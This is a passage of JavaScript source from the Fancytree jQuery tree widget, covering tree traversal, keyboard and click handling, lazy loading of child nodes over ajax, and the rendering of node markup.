			// remainMap contains parent nodes, each with a list of relative sub-paths.
			// We start loading all of them now, and pass the the list to each loader.
			for (nodeKey in remainMap) {
				if (_hasProp(remainMap, nodeKey)) {
					remain = remainMap[nodeKey];
					// console.log("for(): remain=", remain, "remainMap=", remainMap);
					// key = remain.segList.shift();
					// node = __findChild(remain.parent, key);
					// if (node == null) {  // #576
					// 	// Issue #576, refactored for v2.27:
					// 	// The root cause was, that sometimes the wrong parent was used here
					// 	// to find the next segment.
					// 	// Falling back to getNodeByKey() was a hack that no longer works if a custom
					// 	// matcher is used, because we cannot assume that a single segment-key is unique
					// 	// throughout the tree.
					// 	self.error("loadKeyPath: error loading child by key '" + key + "' (parent: " + target.parent + ")", target);
					// 	// 	node = self.getNodeByKey(key);
					// 	continue;
					// }
					subDfd = new $.Deferred();
					deferredList.push(subDfd);
					__lazyload(subDfd, remain.parent, remain.pathSegList);
				}
			}
			// Return a promise that is resolved, when ALL paths were loaded
			return $.when.apply($, deferredList).promise();
		},
		/** Re-fire beforeActivate, activate, and (optional) focus events.
		 * Calling this method in the `init` event, will activate the node that
		 * was marked 'active' in the source data, and optionally set the keyboard
		 * focus.
		 * @param [setFocus=false]
		 */
		reactivate: function (setFocus) {
			var res,
				node = this.activeNode;

			if (!node) {
				return _getResolvedPromise();
			}
			this.activeNode = null; // Force re-activating
			res = node.setActive(true, { noFocus: true });
			if (setFocus) {
				node.setFocus();
			}
			return res;
		},
		/** Reload tree from source and return a promise.
		 * @param [source] optional new source (defaults to initial source data)
		 * @returns {$.Promise}
		 */
		reload: function (source) {
			this._callHook("treeClear", this);
			return this._callHook("treeLoad", this, source);
		},
		/**Render tree (i.e. create DOM elements for all top-level nodes).
		 * @param {boolean} [force=false] create DOM elemnts, even if parent is collapsed
		 * @param {boolean} [deep=false]
		 */
		render: function (force, deep) {
			return this.rootNode.render(force, deep);
		},
		/**(De)select all nodes.
		 * @param {boolean} [flag=true]
		 * @since 2.28
		 */
		selectAll: function (flag) {
			this.visit(function (node) {
				node.setSelected(flag);
			});
		},
		// TODO: selectKey: function(key, select)
		// TODO: serializeArray: function(stopOnParents)
		/**
		 * @param {boolean} [flag=true]
		 */
		setFocus: function (flag) {
			return this._callHook("treeSetFocus", this, flag);
		},
		/**
		 * Set current option value.
		 * (Note: this is the preferred variant of `$().fancytree("option", "KEY", VALUE)`)
		 * @param {string} name option name (may contain '.')
		 * @param {any} new value
		 */
		setOption: function (optionName, value) {
			return this.widget.option(optionName, value);
		},
		/**
		 * Call console.time() when in debug mode (verbose >= 4).
		 *
		 * @param {string} label
		 */
		debugTime: function (label) {
			if (this.options.debugLevel >= 4) {
				window.console.time(this + " - " + label);
			}
		},
		/**
		 * Call console.timeEnd() when in debug mode (verbose >= 4).
		 *
		 * @param {string} label
		 */
		debugTimeEnd: function (label) {
			if (this.options.debugLevel >= 4) {
				window.console.timeEnd(this + " - " + label);
			}
		},
		/**
		 * Return all nodes as nested list of {@link NodeData}.
		 *
		 * @param {boolean} [includeRoot=false] Returns the hidden system root node (and its children)
		 * @param {function} [callback] callback(dict, node) is called for every node, in order to allow modifications.
		 *     Return `false` to ignore this node or "skip" to include this node without its children.
		 * @returns {Array | object}
		 * @see FancytreeNode#toDict
		 */
		toDict: function (includeRoot, callback) {
			var res = this.rootNode.toDict(true, callback);
			return includeRoot ? res : res.children;
		},
		/* Implicitly called for string conversions.
		 * @returns {string}
		 */
		toString: function () {
			return "Fancytree@" + this._id;
			// return "<Fancytree(#" + this._id + ")>";
		},
		/* _trigger a widget event with additional node ctx.
		 * @see EventData
		 */
		_triggerNodeEvent: function (type, node, originalEvent, extra) {
			// this.debug("_trigger(" + type + "): '" + ctx.node.title + "'", ctx);
			var ctx = this._makeHookContext(node, originalEvent, extra),
				res = this.widget._trigger(type, originalEvent, ctx);
			if (res !== false && ctx.result !== undefined) {
				return ctx.result;
			}
			return res;
		},
		/* _trigger a widget event with additional tree data. */
		_triggerTreeEvent: function (type, originalEvent, extra) {
			// this.debug("_trigger(" + type + ")", ctx);
			var ctx = this._makeHookContext(this, originalEvent, extra),
				res = this.widget._trigger(type, originalEvent, ctx);

			if (res !== false && ctx.result !== undefined) {
				return ctx.result;
			}
			return res;
		},
		/** Call fn(node) for all nodes in hierarchical order (depth-first).
		 *
		 * @param {function} fn the callback function.
		 *     Return false to stop iteration, return "skip" to skip this node and children only.
		 * @returns {boolean} false, if the iterator was stopped.
		 */
		visit: function (fn) {
			return this.rootNode.visit(fn, false);
		},
		/** Call fn(node) for all nodes in vertical order, top down (or bottom up).<br>
		 * Stop iteration, if fn() returns false.<br>
		 * Return false if iteration was stopped.
		 *
		 * @param {function} fn the callback function.
		 *     Return false to stop iteration, return "skip" to skip this node and children only.
		 * @param {object} [options]
		 *     Defaults:
		 *     {start: First top node, reverse: false, includeSelf: true, includeHidden: false}
		 * @returns {boolean} false if iteration was cancelled
		 * @since 2.28
		 */
		visitRows: function (fn, opts) {
			if (!this.rootNode.hasChildren()) {
				return false;
			}
			if (opts && opts.reverse) {
				delete opts.reverse;
				return this._visitRowsUp(fn, opts);
			}
			opts = opts || {};

			var i,
				nextIdx,
				parent,
				res,
				siblings,
				siblingOfs = 0,
				skipFirstNode = opts.includeSelf === false,
				includeHidden = !!opts.includeHidden,
				checkFilter = !includeHidden && this.enableFilter,
				node = opts.start || this.rootNode.children[0];

			parent = node.parent;
			while (parent) {
				// visit siblings
				siblings = parent.children;
				nextIdx = siblings.indexOf(node) + siblingOfs;
				_assert(
					nextIdx >= 0,
					"Could not find " +
						node +
						" in parent's children: " +
						parent
				);

				for (i = nextIdx; i < siblings.length; i++) {
					node = siblings[i];
					if (checkFilter && !node.match && !node.subMatchCount) {
						continue;
					}
					if (!skipFirstNode && fn(node) === false) {
						return false;
					}
					skipFirstNode = false;
					// Dive into node's child nodes
					if (
						node.children &&
						node.children.length &&
						(includeHidden || node.expanded)
					) {
						// Disable warning: Functions declared within loops referencing an outer
						// scoped variable may lead to confusing semantics:
						/*jshint -W083 */
						res = node.visit(function (n) {
							if (checkFilter && !n.match && !n.subMatchCount) {
								return "skip";
							}
							if (fn(n) === false) {
								return false;
							}
							if (!includeHidden && n.children && !n.expanded) {
								return "skip";
							}
						}, false);
						/*jshint +W083 */
						if (res === false) {
							return false;
						}
					}
				}
				// Visit parent nodes (bottom up)
				node = parent;
				parent = parent.parent;
				siblingOfs = 1; //
			}
			return true;
		},
		/* Call fn(node) for all nodes in vertical order, bottom up.
		 */
		_visitRowsUp: function (fn, opts) {
			var children,
				idx,
				parent,
				includeHidden = !!opts.includeHidden,
				node = opts.start || this.rootNode.children[0];

			while (true) {
				parent = node.parent;
				children = parent.children;

				if (children[0] === node) {
					// If this is already the first sibling, goto parent
					node = parent;
					if (!node.parent) {
						break; // first node of the tree
					}
					children = parent.children;
				} else {
					// Otherwise, goto prev. sibling
					idx = children.indexOf(node);
					node = children[idx - 1];
					// If the prev. sibling has children, follow down to last descendant
					while (
						// See: https://github.com/eslint/eslint/issues/11302
						// eslint-disable-next-line no-unmodified-loop-condition
						(includeHidden || node.expanded) &&
						node.children &&
						node.children.length
					) {
						children = node.children;
						parent = node;
						node = children[children.length - 1];
					}
				}
				// Skip invisible
				if (!includeHidden && !node.isVisible()) {
					continue;
				}
				if (fn(node) === false) {
					return false;
				}
			}
		},
		/** Write warning to browser console if debugLevel >= 2 (prepending tree info)
		 *
		 * @param {*} msg string or object or array of such
		 */
		warn: function (msg) {
			if (this.options.debugLevel >= 2) {
				Array.prototype.unshift.call(arguments, this.toString());
				consoleApply("warn", arguments);
			}
		},
	};

	/**
	 * These additional methods of the {@link Fancytree} class are 'hook functions'
	 * that can be used and overloaded by extensions.
	 *
	 * @see [writing extensions](https://github.com/mar10/fancytree/wiki/TutorialExtensions)
	 * @mixin Fancytree_Hooks
	 */
	$.extend(
		Fancytree.prototype,
		/** @lends Fancytree_Hooks# */
		{
			/** Default handling for mouse click events.
			 *
			 * @param {EventData} ctx
			 */
			nodeClick: function (ctx) {
				var activate,
					expand,
					// event = ctx.originalEvent,
					targetType = ctx.targetType,
					node = ctx.node;

				// this.debug("ftnode.onClick(" + event.type + "): ftnode:" + this + ", button:" + event.button + ", which: " + event.which, ctx);
				// TODO: use switch
				// TODO: make sure clicks on embedded <input> doesn't steal focus (see table sample)
				if (targetType === "expander") {
					if (node.isLoading()) {
						// #495: we probably got a click event while a lazy load is pending.
						// The 'expanded' state is not yet set, so 'toggle' would expand
						// and trigger lazyLoad again.
						// It would be better to allow to collapse/expand the status node
						// while loading (instead of ignoring), but that would require some
						// more work.
						node.debug("Got 2nd click while loading: ignored");
						return;
					}
					// Clicking the expander icon always expands/collapses
					this._callHook("nodeToggleExpanded", ctx);
				} else if (targetType === "checkbox") {
					// Clicking the checkbox always (de)selects
					this._callHook("nodeToggleSelected", ctx);
					if (ctx.options.focusOnSelect) {
						// #358
						this._callHook("nodeSetFocus", ctx, true);
					}
				} else {
					// Honor `clickFolderMode` for
					expand = false;
					activate = true;
					if (node.folder) {
						switch (ctx.options.clickFolderMode) {
							case 2: // expand only
								expand = true;
								activate = false;
								break;
							case 3: // expand and activate
								activate = true;
								expand = true; //!node.isExpanded();
								break;
							// else 1 or 4: just activate
						}
					}
					if (activate) {
						this.nodeSetFocus(ctx);
						this._callHook("nodeSetActive", ctx, true);
					}
					if (expand) {
						if (!activate) {
							// this._callHook("nodeSetFocus", ctx);
						}
						// this._callHook("nodeSetExpanded", ctx, true);
						this._callHook("nodeToggleExpanded", ctx);
					}
				}
				// Make sure that clicks stop, otherwise <a href='#'> jumps to the top
				// if(event.target.localName === "a" && event.target.className === "fancytree-title"){
				// 	event.preventDefault();
				// }
				// TODO: return promise?
			},
			/** Collapse all other  children of same parent.
			 *
			 * @param {EventData} ctx
			 * @param {object} callOpts
			 */
			nodeCollapseSiblings: function (ctx, callOpts) {
				// TODO: return promise?
				var ac,
					i,
					l,
					node = ctx.node;

				if (node.parent) {
					ac = node.parent.children;
					for (i = 0, l = ac.length; i < l; i++) {
						if (ac[i] !== node && ac[i].expanded) {
							this._callHook(
								"nodeSetExpanded",
								ac[i],
								false,
								callOpts
							);
						}
					}
				}
			},
			/** Default handling for mouse douleclick events.
			 * @param {EventData} ctx
			 */
			nodeDblclick: function (ctx) {
				// TODO: return promise?
				if (
					ctx.targetType === "title" &&
					ctx.options.clickFolderMode === 4
				) {
					// this.nodeSetFocus(ctx);
					// this._callHook("nodeSetActive", ctx, true);
					this._callHook("nodeToggleExpanded", ctx);
				}
				// TODO: prevent text selection on dblclicks
				if (ctx.targetType === "title") {
					ctx.originalEvent.preventDefault();
				}
			},
			/** Default handling for mouse keydown events.
			 *
			 * NOTE: this may be called with node == null if tree (but no node) has focus.
			 * @param {EventData} ctx
			 */
			nodeKeydown: function (ctx) {
				// TODO: return promise?
				var matchNode,
					stamp,
					_res,
					focusNode,
					event = ctx.originalEvent,
					node = ctx.node,
					tree = ctx.tree,
					opts = ctx.options,
					which = event.which,
					// #909: Use event.key, to get unicode characters.
					// We can't use `/\w/.test(key)`, because that would
					// only detect plain ascii alpha-numerics. But we still need
					// to ignore modifier-only, whitespace, cursor-keys, etc.
					key = event.key || String.fromCharCode(which),
					specialModifiers = !!(
						event.altKey ||
						event.ctrlKey ||
						event.metaKey
					),
					isAlnum =
						!MODIFIERS[which] &&
						!SPECIAL_KEYCODES[which] &&
						!specialModifiers,
					$target = $(event.target),
					handled = true,
					activate = !(event.ctrlKey || !opts.autoActivate);

				// (node || FT).debug("ftnode.nodeKeydown(" + event.type + "): ftnode:" + this + ", charCode:" + event.charCode + ", keyCode: " + event.keyCode + ", which: " + event.which);
				// FT.debug( "eventToString(): " + FT.eventToString(event) + ", key='" + key + "', isAlnum: " + isAlnum );

				// Set focus to active (or first node) if no other node has the focus yet
				if (!node) {
					focusNode = this.getActiveNode() || this.getFirstChild();
					if (focusNode) {
						focusNode.setFocus();
						node = ctx.node = this.focusNode;
						node.debug("Keydown force focus on active node");
					}
				}

				if (
					opts.quicksearch &&
					isAlnum &&
					!$target.is(":input:enabled")
				) {
					// Allow to search for longer streaks if typed in quickly
					stamp = Date.now();
					if (stamp - tree.lastQuicksearchTime > 500) {
						tree.lastQuicksearchTerm = "";
					}
					tree.lastQuicksearchTime = stamp;
					tree.lastQuicksearchTerm += key;
					// tree.debug("quicksearch find", tree.lastQuicksearchTerm);
					matchNode = tree.findNextNode(
						tree.lastQuicksearchTerm,
						tree.getActiveNode()
					);
					if (matchNode) {
						matchNode.setActive();
					}
					event.preventDefault();
					return;
				}
				switch (FT.eventToString(event)) {
					case "+":
					case "=": // 187: '+' @ Chrome, Safari
						tree.nodeSetExpanded(ctx, true);
						break;
					case "-":
						tree.nodeSetExpanded(ctx, false);
						break;
					case "space":
						if (node.isPagingNode()) {
							tree._triggerNodeEvent("clickPaging", ctx, event);
						} else if (
							FT.evalOption("checkbox", node, node, opts, false)
						) {
							// #768
							tree.nodeToggleSelected(ctx);
						} else {
							tree.nodeSetActive(ctx, true);
						}
						break;
					case "return":
						tree.nodeSetActive(ctx, true);
						break;
					case "home":
					case "end":
					case "backspace":
					case "left":
					case "right":
					case "up":
					case "down":
						_res = node.navigate(event.which, activate);
						break;
					default:
						handled = false;
				}
				if (handled) {
					event.preventDefault();
				}
			},

			// /** Default handling for mouse keypress events. */
			// nodeKeypress: function(ctx) {
			//     var event = ctx.originalEvent;
			// },

			// /** Trigger lazyLoad event (async). */
			// nodeLazyLoad: function(ctx) {
			//     var node = ctx.node;
			//     if(this._triggerNodeEvent())
			// },
			/** Load child nodes (async).
			 *
			 * @param {EventData} ctx
			 * @param {object[]|object|string|$.Promise|function} source
			 * @returns {$.Promise} The deferred will be resolved as soon as the (ajax)
			 *     data was rendered.
			 */
			nodeLoadChildren: function (ctx, source) {
				var ajax,
					delay,
					ajaxDfd = null,
					resultDfd,
					isAsync = true,
					tree = ctx.tree,
					node = ctx.node,
					nodePrevParent = node.parent,
					tag = "nodeLoadChildren",
					requestId = Date.now();

				// `source` is a callback: use the returned result instead:
				if (_isFunction(source)) {
					source = source.call(tree, { type: "source" }, ctx);
					_assert(
						!_isFunction(source),
						"source callback must not return another function"
					);
				}
				// `source` is already a promise:
				if (_isFunction(source.then)) {
					// _assert(_isFunction(source.always), "Expected jQuery?");
					ajaxDfd = source;
				} else if (source.url) {
					// `source` is an Ajax options object
					ajax = $.extend({}, ctx.options.ajax, source);
					if (ajax.debugDelay) {
						// Simulate a slow server
						delay = ajax.debugDelay;
						delete ajax.debugDelay; // remove debug option
						if (_isArray(delay)) {
							// random delay range [min..max]
							delay =
								delay[0] +
								Math.random() * (delay[1] - delay[0]);
						}
						node.warn(
							"nodeLoadChildren waiting debugDelay " +
								Math.round(delay) +
								" ms ..."
						);
						ajaxDfd = $.Deferred(function (ajaxDfd) {
							setTimeout(function () {
								$.ajax(ajax)
									.done(function () {
										ajaxDfd.resolveWith(this, arguments);
									})
									.fail(function () {
										ajaxDfd.rejectWith(this, arguments);
									});
							}, delay);
						});
					} else {
						ajaxDfd = $.ajax(ajax);
					}
				} else if ($.isPlainObject(source) || _isArray(source)) {
					// `source` is already a constant dict or list, but we convert
					// to a thenable for unified processing.
					// 2020-01-03: refactored.
					// `ajaxDfd = $.when(source)` would do the trick, but the returned
					// promise will resolve async, which broke some tests and
					// would probably also break current implementations out there.
					// So we mock-up a thenable that resolves synchronously:
					ajaxDfd = {
						then: function (resolve, reject) {
							resolve(source, null, null);
						},
					};
					isAsync = false;
				} else {
					$.error("Invalid source type: " + source);
				}

				// Check for overlapping requests
				if (node._requestId) {
					node.warn(
						"Recursive load request #" +
							requestId +
							" while #" +
							node._requestId +
							" is pending."
					);
					node._requestId = requestId;
					// 	node.debug("Send load request #" + requestId);
				}

				if (isAsync) {
					tree.debugTime(tag);
					tree.nodeSetStatus(ctx, "loading");
				}

				// The async Ajax request has now started...
				// Defer the deferred:
				// we want to be able to reject invalid responses, even if
				// the raw HTTP Ajax XHR resolved as Ok.
				// We use the ajaxDfd.then() syntax here, which is compatible with
				// jQuery and ECMA6.
				// However resultDfd is a jQuery deferred, which is currently the
				// expected result type of nodeLoadChildren()
				resultDfd = new $.Deferred();
				ajaxDfd.then(
					function (data, textStatus, jqXHR) {
						// ajaxDfd was resolved, but we reject or resolve resultDfd
						// depending on the response data
						var errorObj, res;

						if (
							(source.dataType === "json" ||
								source.dataType === "jsonp") &&
							typeof data === "string"
						) {
							$.error(
								"Ajax request returned a string (did you get the JSON dataType wrong?)."
							);
						}
						if (node._requestId && node._requestId > requestId) {
							// The expected request time stamp is later than `requestId`
							// (which was kept as as closure variable to this handler function)
							// node.warn("Ignored load response for obsolete request #" + requestId + " (expected #" + node._requestId + ")");
							resultDfd.rejectWith(this, [
								RECURSIVE_REQUEST_ERROR,
							]);
							return;
							// } else {
							// 	node.debug("Response returned for load request #" + requestId);
						}
						if (node.parent === null && nodePrevParent !== null) {
							resultDfd.rejectWith(this, [
								INVALID_REQUEST_TARGET_ERROR,
							]);
							return;
						}
						// Allow to adjust the received response data in the `postProcess` event.
						if (ctx.options.postProcess) {
							// The handler may either
							//   - modify `ctx.response` in-place (and leave `ctx.result` undefined)
							//     => res = undefined
							//   - return a replacement in `ctx.result`
							//     => res = <new data>
							//   If res contains an `error` property, an error status is displayed
							try {
								res = tree._triggerNodeEvent(
									"postProcess",
									ctx,
									ctx.originalEvent,
									{
										response: data,
										error: null,
										dataType: source.dataType,
									}
								);
								if (res.error) {
									tree.warn(
										"postProcess returned error:",
										res
									);
								}
							} catch (e) {
								res = {
									error: e,
									message: "" + e,
									details: "postProcess failed",
								};
							}
							if (res.error) {
								// Either postProcess failed with an exception, or the returned
								// result object has an 'error' property attached:
								errorObj = $.isPlainObject(res.error)
									? res.error
									: { message: res.error };
								errorObj = tree._makeHookContext(
									node,
									null,
									errorObj
								);
								resultDfd.rejectWith(this, [errorObj]);
								return;
							}
							if (
								_isArray(res) ||
								($.isPlainObject(res) && _isArray(res.children))
							) {
								// Use `ctx.result` if valid
								// (otherwise use existing data, which may have been modified in-place)
								data = res;
							}
						} else if (
							data &&
							_hasProp(data, "d") &&
							ctx.options.enableAspx
						) {
							// Process ASPX WebMethod JSON object inside "d" property
							// (only if no postProcess event was defined)
							if (ctx.options.enableAspx === 42) {
								tree.warn(
									"The default for enableAspx will change to `false` in the fututure. " +
										"Pass `enableAspx: true` or implement postProcess to silence this warning."
								);
							}
							data =
								typeof data.d === "string"
									? $.parseJSON(data.d)
									: data.d;
						}
						resultDfd.resolveWith(this, [data]);
					},
					function (jqXHR, textStatus, errorThrown) {
						// ajaxDfd was rejected, so we reject resultDfd as well
						var errorObj = tree._makeHookContext(node, null, {
							error: jqXHR,
							args: Array.prototype.slice.call(arguments),
							message: errorThrown,
							details: jqXHR.status + ": " + errorThrown,
						});
						resultDfd.rejectWith(this, [errorObj]);
					}
				);

				// The async Ajax request has now started.
				// resultDfd will be resolved/rejected after the response arrived,
				// was postProcessed, and checked.
				// Now we implement the UI update and add the data to the tree.
				// We also return this promise to the caller.
				resultDfd
					.done(function (data) {
						tree.nodeSetStatus(ctx, "ok");
						var children, metaData, noDataRes;

						if ($.isPlainObject(data)) {
							// We got {foo: 'abc', children: [...]}
							// Copy extra properties to tree.data.foo
							_assert(
								node.isRootNode(),
								"source may only be an object for root nodes (expecting an array of child objects otherwise)"
							);
							_assert(
								_isArray(data.children),
								"if an object is passed as source, it must contain a 'children' array (all other properties are added to 'tree.data')"
							);
							metaData = data;
							children = data.children;
							delete metaData.children;
							// Copy some attributes to tree.data
							$.each(TREE_ATTRS, function (i, attr) {
								if (metaData[attr] !== undefined) {
									tree[attr] = metaData[attr];
									delete metaData[attr];
								}
							});
							// Copy all other attributes to tree.data.NAME
							$.extend(tree.data, metaData);
						} else {
							children = data;
						}
						_assert(
							_isArray(children),
							"expected array of children"
						);
						node._setChildren(children);

						if (tree.options.nodata && children.length === 0) {
							if (_isFunction(tree.options.nodata)) {
								noDataRes = tree.options.nodata.call(
									tree,
									{ type: "nodata" },
									ctx
								);
							} else if (
								tree.options.nodata === true &&
								node.isRootNode()
							) {
								noDataRes = tree.options.strings.noData;
							} else if (
								typeof tree.options.nodata === "string" &&
								node.isRootNode()
							) {
								noDataRes = tree.options.nodata;
							}
							if (noDataRes) {
								node.setStatus("nodata", noDataRes);
							}
						}
						// trigger fancytreeloadchildren
						tree._triggerNodeEvent("loadChildren", node);
					})
					.fail(function (error) {
						var ctxErr;

						if (error === RECURSIVE_REQUEST_ERROR) {
							node.warn(
								"Ignored response for obsolete load request #" +
									requestId +
									" (expected #" +
									node._requestId +
									")"
							);
							return;
						} else if (error === INVALID_REQUEST_TARGET_ERROR) {
							node.warn(
								"Lazy parent node was removed while loading: discarding response."
							);
							return;
						} else if (error.node && error.error && error.message) {
							// error is already a context object
							ctxErr = error;
						} else {
							ctxErr = tree._makeHookContext(node, null, {
								error: error, // it can be jqXHR or any custom error
								args: Array.prototype.slice.call(arguments),
								message: error
									? error.message || error.toString()
									: "",
							});
							if (ctxErr.message === "[object Object]") {
								ctxErr.message = "";
							}
						}
						node.warn(
							"Load children failed (" + ctxErr.message + ")",
							ctxErr
						);
						if (
							tree._triggerNodeEvent(
								"loadError",
								ctxErr,
								null
							) !== false
						) {
							tree.nodeSetStatus(
								ctx,
								"error",
								ctxErr.message,
								ctxErr.details
							);
						}
					})
					.always(function () {
						node._requestId = null;
						if (isAsync) {
							tree.debugTimeEnd(tag);
						}
					});

				return resultDfd.promise();
			},
			/** [Not Implemented]  */
			nodeLoadKeyPath: function (ctx, keyPathList) {
				// TODO: implement and improve
				// http://code.google.com/p/dynatree/issues/detail?id=222
			},
			/**
			 * Remove a single direct child of ctx.node.
			 * @param {EventData} ctx
			 * @param {FancytreeNode} childNode dircect child of ctx.node
			 */
			nodeRemoveChild: function (ctx, childNode) {
				var idx,
					node = ctx.node,
					// opts = ctx.options,
					subCtx = $.extend({}, ctx, { node: childNode }),
					children = node.children;

				// FT.debug("nodeRemoveChild()", node.toString(), childNode.toString());

				if (children.length === 1) {
					_assert(childNode === children[0], "invalid single child");
					return this.nodeRemoveChildren(ctx);
				}
				if (
					this.activeNode &&
					(childNode === this.activeNode ||
						this.activeNode.isDescendantOf(childNode))
				) {
					this.activeNode.setActive(false); // TODO: don't fire events
				}
				if (
					this.focusNode &&
					(childNode === this.focusNode ||
						this.focusNode.isDescendantOf(childNode))
				) {
					this.focusNode = null;
				}
				// TODO: persist must take care to clear select and expand cookies
				this.nodeRemoveMarkup(subCtx);
				this.nodeRemoveChildren(subCtx);
				idx = $.inArray(childNode, children);
				_assert(idx >= 0, "invalid child");
				// Notify listeners
				node.triggerModifyChild("remove", childNode);
				// Unlink to support GC
				childNode.visit(function (n) {
					n.parent = null;
				}, true);
				this._callHook("treeRegisterNode", this, false, childNode);
				// remove from child list
				children.splice(idx, 1);
			},
			/**Remove HTML markup for all descendents of ctx.node.
			 * @param {EventData} ctx
			 */
			nodeRemoveChildMarkup: function (ctx) {
				var node = ctx.node;

				// FT.debug("nodeRemoveChildMarkup()", node.toString());
				// TODO: Unlink attr.ftnode to support GC
				if (node.ul) {
					if (node.isRootNode()) {
						$(node.ul).empty();
					} else {
						$(node.ul).remove();
						node.ul = null;
					}
					node.visit(function (n) {
						n.li = n.ul = null;
					});
				}
			},
			/**Remove all descendants of ctx.node.
			 * @param {EventData} ctx
			 */
			nodeRemoveChildren: function (ctx) {
				var //subCtx,
					tree = ctx.tree,
					node = ctx.node,
					children = node.children;
				// opts = ctx.options;

				// FT.debug("nodeRemoveChildren()", node.toString());
				if (!children) {
					return;
				}
				if (this.activeNode && this.activeNode.isDescendantOf(node)) {
					this.activeNode.setActive(false); // TODO: don't fire events
				}
				if (this.focusNode && this.focusNode.isDescendantOf(node)) {
					this.focusNode = null;
				}
				// TODO: persist must take care to clear select and expand cookies
				this.nodeRemoveChildMarkup(ctx);
				// Unlink children to support GC
				// TODO: also delete this.children (not possible using visit())
				// subCtx = $.extend({}, ctx);
				node.triggerModifyChild("remove", null);
				node.visit(function (n) {
					n.parent = null;
					tree._callHook("treeRegisterNode", tree, false, n);
				});
				if (node.lazy) {
					// 'undefined' would be interpreted as 'not yet loaded' for lazy nodes
					node.children = [];
				} else {
					node.children = null;
				}
				if (!node.isRootNode()) {
					node.expanded = false; // #449, #459
				}
				this.nodeRenderStatus(ctx);
			},
			/**Remove HTML markup for ctx.node and all its descendents.
			 * @param {EventData} ctx
			 */
			nodeRemoveMarkup: function (ctx) {
				var node = ctx.node;
				// FT.debug("nodeRemoveMarkup()", node.toString());
				// TODO: Unlink attr.ftnode to support GC
				if (node.li) {
					$(node.li).remove();
					node.li = null;
				}
				this.nodeRemoveChildMarkup(ctx);
			},
			/**
			 * Create `<li><span>..</span> .. </li>` tags for this node.
			 *
			 * This method takes care that all HTML markup is created that is required
			 * to display this node in its current state.
			 *
			 * Call this method to create new nodes, or after the strucuture
			 * was changed (e.g. after moving this node or adding/removing children)
			 * nodeRenderTitle() and nodeRenderStatus() are implied.
			 *
			 * ```html
			 * <li id='KEY' ftnode=NODE>
			 *     <span class='fancytree-node fancytree-expanded fancytree-has-children fancytree-lastsib fancytree-exp-el fancytree-ico-e'>
			 *         <span class="fancytree-expander"></span>
			 *         <span class="fancytree-checkbox"></span> // only present in checkbox mode
			 *         <span class="fancytree-icon"></span>
			 *         <a href="#" class="fancytree-title"> Node 1 </a>
			 *     </span>
			 *     <ul> // only present if node has children
			 *         <li id='KEY' ftnode=NODE> child1 ... </li>
			 *         <li id='KEY' ftnode=NODE> child2 ... </li>
			 *     </ul>
			 * </li>
			 * ```
			 *
			 * @param {EventData} ctx
			 * @param {boolean} [force=false] re-render, even if html markup was already created
			 * @param {boolean} [deep=false] also render all descendants, even if parent is collapsed
			 * @param {boolean} [collapsed=false] force root node to be collapsed, so we can apply animated expand later
			 */
			nodeRender: function (ctx, force, deep, collapsed, _recursive) {
				/* This method must take care of all cases where the current data mode
				 * (i.e. node hierarchy) does not match the current markup.
				 *
				 * - node was not yet rendered:
				 *   create markup
				 * - node was rendered: exit fast
				 * - children have been added
				 * - children have been removed
				 */
				var childLI,
					childNode1,
					childNode2,
					i,
					l,
					next,
					subCtx,
					node = ctx.node,
					tree = ctx.tree,
					opts = ctx.options,
					aria = opts.aria,
					firstTime = false,
					parent = node.parent,
					isRootNode = !parent,
					children = node.children,
					successorLi = null;
				// FT.debug("nodeRender(" + !!force + ", " + !!deep + ")", node.toString());

				if (tree._enableUpdate === false) {
					// tree.debug("no render", tree._enableUpdate);
					return;
				}
				if (!isRootNode && !parent.ul) {
					// Calling node.collapse on a deep, unrendered node
					return;
				}
				_assert(isRootNode || parent.ul, "parent UL must exist");

				// Render the node
				if (!isRootNode) {
					// Discard markup on force-mode, or if it is not linked to parent <ul>
					if (
						node.li &&
						(force || node.li.parentNode !== node.parent.ul)
					) {
						if (node.li.parentNode === node.parent.ul) {
							// #486: store following node, so we can insert the new markup there later
							successorLi = node.li.nextSibling;
						} else {
							// May happen, when a top-level node was dropped over another
							this.debug(
								"Unlinking " +
									node +
									" (must be child of " +
									node.parent +
									")"
							);
						}
						//	            this.debug("nodeRemoveMarkup...");
						this.nodeRemoveMarkup(ctx);
					}
					// Create <li><span /> </li>
					// node.debug("render...");
					if (node.li) {
						// this.nodeRenderTitle(ctx);
						this.nodeRenderStatus(ctx);
					} else {
						// node.debug("render... really");
						firstTime = true;
						node.li = document.createElement("li");
						node.li.ftnode = node;

						if (node.key && opts.generateIds) {
							node.li.id = opts.idPrefix + node.key;
						}
						node.span = document.createElement("span");
						node.span.className = "fancytree-node";
						if (aria && !node.tr) {
							$(node.li).attr("role", "treeitem");
						}
						node.li.appendChild(node.span);

						// Create inner HTML for the <span> (expander, checkbox, icon, and title)
						this.nodeRenderTitle(ctx);

						// Allow tweaking and binding, after node was created for the first time
						if (opts.createNode) {
							opts.createNode.call(
								tree,
								{ type: "createNode" },
								ctx
							);
						}
					}
					// Allow tweaking after node state was rendered
					if (opts.renderNode) {
						opts.renderNode.call(tree, { type: "renderNode" }, ctx);
					}
				}

				// Visit child nodes
				if (children) {
					if (isRootNode || node.expanded || deep === true) {
						// Create a UL to hold the children
						if (!node.ul) {
							node.ul = document.createElement("ul");
							if (
								(collapsed === true && !_recursive) ||
								!node.expanded
							) {
								// hide top UL, so we can use an animation to show it later
								node.ul.style.display = "none";
							}
							if (aria) {
								$(node.ul).attr("role", "group");
							}
							if (node.li) {
								// issue #67
								node.li.appendChild(node.ul);
							} else {
								node.tree.$div.append(node.ul);
							}
						}
						// Add child markup
						for (i = 0, l = children.length; i < l; i++) {
							subCtx = $.extend({}, ctx, { node: children[i] });
							this.nodeRender(subCtx, force, deep, false, true);
						}
						// Remove <li> if nodes have moved to another parent
						childLI = node.ul.firstChild;
						while (childLI) {
							childNode2 = childLI.ftnode;
							if (childNode2 && childNode2.parent !== node) {
								node.debug(
									"_fixParent: remove missing " + childNode2,
									childLI
								);
								next = childLI.nextSibling;
								childLI.parentNode.removeChild(childLI);
								childLI = next;
							} else {
								childLI = childLI.nextSibling;
							}
						}
						// Make sure, that <li> order matches node.children order.
						childLI = node.ul.firstChild;
						for (i = 0, l = children.length - 1; i < l; i++) {
							childNode1 = children[i];
							childNode2 = childLI.ftnode;
							if (childNode1 === childNode2) {
								childLI = childLI.nextSibling;
							} else {
								// node.debug("_fixOrder: mismatch at index " + i + ": " + childNode1 + " != " + childNode2);
								node.ul.insertBefore(
									childNode1.li,
									childNode2.li
								);
							}
						}
					}
				} else {
					// No children: remove markup if any
					if (node.ul) {
						// alert("remove child markup for " + node);
						this.warn("remove child markup for " + node);
						this.nodeRemoveChildMarkup(ctx);
